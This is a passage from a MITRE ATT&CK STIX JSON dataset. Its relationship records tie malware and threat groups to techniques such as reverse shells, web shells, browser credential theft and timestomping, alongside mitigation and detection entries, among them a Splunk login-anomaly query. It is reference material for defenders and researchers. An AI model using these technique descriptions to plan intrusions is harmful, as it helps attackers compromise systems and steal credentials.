2)","relationship_type":"uses","source_ref":"malware--ccd61dfc-b03f-4689-8c18-7c97eab08472","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1023acea-b162-406d-a40d-201fc005d5ad","type":"relationship","created":"2021-03-25T13:53:09.048Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Google Election Threats October 2020","url":"https://blog.google/threat-analysis-group/how-were-tackling-evolving-online-threats/","description":"Huntley, S. (2020, October 16). How We're Tackling Evolving Online Threats. Retrieved March 24, 2021."}],"modified":"2021-03-25T13:53:09.048Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) targeted presidential campaign staffers with credential phishing e-mails.(Citation: Google Election Threats October 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--10263c76-62fa-4db6-ab3e-968f130ed893","created":"2024-09-27T12:36:46.769Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T12:36:46.769Z","description":"On Windows 10+, enable Attack Surface Reduction (ASR) rules to prevent execution of potentially obfuscated payloads","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--b577dfc1-0177-4522-8d5a-782127c8592b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--102733a2-3df3-4b80-babf-89653b5357f4","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022","description":"Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.","url":"https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"},{"source_name":"Okta Cross-Tenant Impersonation","description":"Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved March 4, 2024.","url":"https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-19T17:02:12.152Z","description":"Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account, account usage at atypical hours, or account authentication from unexpected locations or IP addresses. Service accounts should only be accessible from IP addresses from within the cloud environment.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022) For example, in Azure AD environments, consider using Identity Protection to flag risky sign-ins based on location, device compliance, and other factors. In Okta environments, configure Suspicious Activity Reporting to allow users to report suspicious logins and other behavior they do not recognize.(Citation: Okta Cross-Tenant Impersonation)\n\nAnalytic 1 - Anomalous IP addresses, unmanaged devices, unusual User Agents indicating automation tools or scripts\n\nNote: To detect suspicious logins to cloud accounts using valid credentials from unusual sources.\n\n \"`index=\"\"m365_audit_logs\"\" Operation=\"\"UserLoggedIn\"\" ResultStatus=\"\"Success\"\"\n| stats count by ClientIP, UserId, DeviceProperties\n| where ClientIP!=\"\"expected_ip\"\" OR DeviceProperties!=\"\"expected_properties\"\"\"","relationship_type":"detects","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--102849c0-0ed7-4e85-9d0b-791bcb7ef7ab","type":"relationship","created":"2020-06-01T14:41:54.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."},{"source_name":"IBM TA505 April 2020","url":"https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/","description":"Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}],"modified":"2020-06-01T16:11:40.376Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) has the ability to decrypt and decompress its payload to enable code execution.(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--10292526-9806-4775-9013-3e51ca26d345","created":"2024-09-25T13:37:14.835Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T13:37:14.835Z","description":"Monitor executed commands and arguments that may indicate common cryptomining functionality.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1029fab5-5714-42d0-ac04-78f4c76c3c02","type":"relationship","created":"2021-01-25T13:58:25.232Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CyberBit Dtrack","url":"https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/","description":"Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}],"modified":"2021-03-12T21:10:53.130Z","description":"[Dtrack](https://attack.mitre.org/software/S0567) can collect a variety of information from victim machines.(Citation: CyberBit Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--102d7613-aabc-4d54-b0fe-88501924da86","type":"relationship","created":"2019-01-30T15:43:19.423Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Sherstobitoff, R., Malhotra, A. (2018, October 18). ‘Operation Oceansalt’ Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf","source_name":"McAfee Oceansalt Oct 2018"},{"description":"Sherstobitoff, R., Malhotra, A. (2018, October 18). ‘Operation Oceansalt’ Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf","source_name":"McAfee Oceansalt Oct 2018"}],"modified":"2020-03-20T01:50:23.361Z","description":"[OceanSalt](https://attack.mitre.org/software/S0346) can create a reverse shell on the infected endpoint using cmd.exe.(Citation: McAfee Oceansalt Oct 2018) [OceanSalt](https://attack.mitre.org/software/S0346) has been executed via malicious macros.(Citation: McAfee Oceansalt Oct 2018)","relationship_type":"uses","source_ref":"malware--288fa242-e894-4c7e-ac86-856deedf5cea","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--102ece09-4129-4662-b05c-243709cd7d1d","type":"relationship","created":"2021-04-06T12:22:23.771Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Aqua Kinsing April 2020","url":"https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability","description":"Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."}],"modified":"2021-04-06T12:22:23.771Z","description":"[Kinsing](https://attack.mitre.org/software/S0599) was run through a deployed Ubuntu container.(Citation: Aqua Kinsing April 2020)","relationship_type":"uses","source_ref":"malware--d6e55656-e43f-411f-a7af-45df650471c5","target_ref":"attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--103489a6-af80-4d4d-8aa7-ca973713e8da","type":"relationship","created":"2021-12-07T14:46:10.667Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-07T14:46:10.667Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has commonly created Web shells on victims' publicly accessible email and web servers, which they used to maintain access to a victim network and download additional malicious files.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1035fe41-56b9-4966-bf3b-109ae950c908","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto MoonWind March 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}],"modified":"2020-03-16T17:16:53.513Z","description":"[MoonWind](https://attack.mitre.org/software/S0149) has a command to return a list of running processes.(Citation: Palo Alto MoonWind March 2017)","relationship_type":"uses","source_ref":"malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1036833a-1d4c-4d9e-b716-1e52606ab684","type":"relationship","created":"2017-05-31T21:33:27.038Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike DNC June 2016","description":"Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.","url":"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"}],"modified":"2019-12-20T14:26:00.476Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has performed timestomping on victim files.(Citation: Crowdstrike DNC June 2016)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--103964f0-77c2-4a20-8026-4e3b5ec1ede0","created":"2024-09-06T22:10:12.217Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T22:10:12.217Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has configured multi-hop proxies via ProxyChains within victim environments.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1039ed0e-216f-4eef-9a7e-c4eaa3ca0152","type":"relationship","created":"2021-03-08T14:10:51.595Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b","description":"USG. (2020, May 12). MAR-10288834-2.v1 – North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}],"modified":"2021-03-15T17:16:09.139Z","description":"[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can use DirectoryList to enumerate files in a specified directory.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)","relationship_type":"uses","source_ref":"malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--103c7d1d-f240-4a56-84de-8b20289f2ee2","created":"2024-01-02T13:45:28.152Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Conditional Access Policy Changes","description":"Microsoft. (2023, October 23). Troubleshooting Conditional Access policy changes. Retrieved January 2, 2024.","url":"https://learn.microsoft.com/en-us/entra/identity/conditional-access/troubleshoot-policy-changes-audit-log"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-22T13:54:35.169Z","description":"Monitor for changes made to security settings related to Entra ID Conditional Access Policies. For example, these can be found in the Entra ID audit log under the operation name `Update Conditional Access policy.`(Citation: Microsoft Conditional Access Policy Changes)","relationship_type":"detects","source_ref":"x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db","target_ref":"attack-pattern--ceaeb6d8-95ee-4da2-9d42-dc6aa6ca43ae","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--103f1ad4-feec-4be3-9da7-ee0b2503c318","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Sofacy","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.","url":"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"}],"modified":"2020-03-20T18:02:42.353Z","description":"C2 traffic from [ADVSTORESHELL](https://attack.mitre.org/software/S0045) is encrypted, then encoded with Base64 encoding.(Citation: Kaspersky Sofacy)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1040d9b9-96a4-4bea-9e8a-543befd50ebd","created":"2023-10-03T14:53:34.805Z","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T14:53:34.805Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) has the ability to load new modules directly into memory using its `Load Modules Mem` command.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--10432a2f-2a96-46ad-b9c1-c35f405c09db","created":"2024-03-15T19:47:54.347Z","revoked":false,"external_references":[{"source_name":"ESET Security Mispadu Facebook Ads 2019","description":"ESET Security. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 2024.","url":"https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"},{"source_name":"Metabase Q Mispadu Trojan 2023","description":"Garcia, F., Regalado, D. (2023, March 7). Inside Mispadu massive infection campaign in LATAM. Retrieved March 15, 2024.","url":"https://www.metabaseq.com/mispadu-banking-trojan/"},{"source_name":"SCILabs Malteiro 2021","description":"SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.","url":"https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-15T19:47:54.347Z","description":"[Mispadu](https://attack.mitre.org/software/S1122) can steal credentials from Google Chrome.(Citation: SCILabs Malteiro 2021)(Citation: ESET Security Mispadu Facebook Ads 2019)(Citation: Metabase Q Mispadu Trojan 2023)","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--104334fa-4d32-48ab-a55d-c481ce7c4cd3","type":"relationship","created":"2020-06-22T20:34:05.348Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Metamorfo Apr 2020","url":"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767","description":"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."}],"modified":"2020-10-22T01:34:58.157Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455)'s C2 communication has been encrypted using OpenSSL.(Citation: Medium Metamorfo Apr 2020) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--10435dca-baee-420a-a2b3-b13209e2d96a","created":"2023-09-20T18:24:54.068Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Telefonica Snip3 December 2021","description":"Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.","url":"https://telefonicatech.com/blog/snip3-investigacion-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-05T09:17:27.868Z","description":"[AsyncRAT](https://attack.mitre.org/software/S1087) has the ability to use OS APIs including `CheckRemoteDebuggerPresent`.(Citation: Telefonica Snip3 December 2021)","relationship_type":"uses","source_ref":"tool--6a5947f3-1a36-4653-8734-526df3e1d28d","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10479c4a-8992-4298-9130-39186e60b18c","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--10514be7-2dcb-4e70-a579-e1e1e6c2d900","created":"2023-02-10T18:38:05.068Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"HP SVCReady Jun 2022","description":"Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.","url":"https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T15:06:17.751Z","description":"[SVCReady](https://attack.mitre.org/software/S1064) can search for the `HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System` Registry key to gather system information.(Citation: HP SVCReady Jun 2022)","relationship_type":"uses","source_ref":"malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1051f320-91fa-4f89-8abe-a851a56e18a7","type":"relationship","created":"2019-01-30T18:39:48.467Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Cannon Nov 2018","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","description":"Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018."},{"source_name":"ESET Zebrocy Nov 2018","url":"https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/","description":"ESET. (2018, November 20). Sednit: What’s going on with Zebrocy?. Retrieved February 12, 2019."},{"description":"Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group’s Global Campaign. Retrieved April 19, 2019.","url":"https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/","source_name":"Unit42 Sofacy Dec 2018"},{"source_name":"ESET Zebrocy May 2019","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/","description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."},{"description":"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.","url":"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50","source_name":"Accenture SNAKEMACKEREL Nov 2018"}],"modified":"2019-07-17T01:18:32.842Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) uses the tasklist and wmic process get Capture, ExecutablePath commands to gather the processes running on the system.(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--105550a6-3e85-4286-a4de-f7d0d68380ed","created":"2024-03-25T20:49:06.892Z","revoked":false,"external_references":[{"source_name":"MSTIC Octo Tempest Operations October 2023","description":"Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T20:49:06.892Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) enumerates cloud environments to identify server and backup management infrastructure, resource access, databases and storage containers.(Citation: MSTIC Octo Tempest Operations October 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1057a87e-4ae4-4317-b655-0fab5a17e7e2","type":"relationship","created":"2021-01-04T15:58:47.110Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearkSky Fox Kitten February 2020","url":"https://www.clearskysec.com/fox-kitten/","description":"ClearSky. (2020, February 16). Fox Kitten – Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020."},{"source_name":"Check Point Pay2Key November 2020","url":"https://research.checkpoint.com/2020/ransomware-alert-pay2key/","description":"Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."}],"modified":"2021-04-20T20:03:26.933Z","description":"[Pay2Key](https://attack.mitre.org/software/S0556) has designated machines in the compromised network to serve as reverse proxy pivot points to channel communications with C2.(Citation: ClearkSky Fox Kitten February 2020)(Citation: Check Point Pay2Key November 